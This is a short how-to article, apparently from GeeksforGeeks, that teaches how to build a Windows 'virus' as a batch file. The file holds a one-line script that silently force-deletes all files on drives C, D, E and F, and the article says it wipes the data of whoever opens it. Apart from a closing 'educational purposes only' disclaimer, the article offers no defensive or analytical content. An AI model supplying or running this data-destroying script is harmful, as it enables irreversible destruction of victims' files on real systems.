How to Create a Virus to Wipe All User Data from Windows?
The virus that we are going to create in this article can be used to wipe out all data from the system. For this, we don’t have to download any specific software we can start coding in Notepad and save the file as .bat Extension.
Now to create the virus follow the below steps:
Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us.
Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.
Step 3: Type in the below-mentioned code in the Notepad:
@echo off del C:\*.*/f /s /q del D:\*.*/f /s /q del E:\*.*/f /s /q del F:\*.*/f /s /q
Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.
The Virus has been Successfully Created by you but this will only work when it is opened by the user once.
Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only. If the virus file is clicked or opened by the user, resultantly all the data in the system will be wiped clean.
Please Login to comment...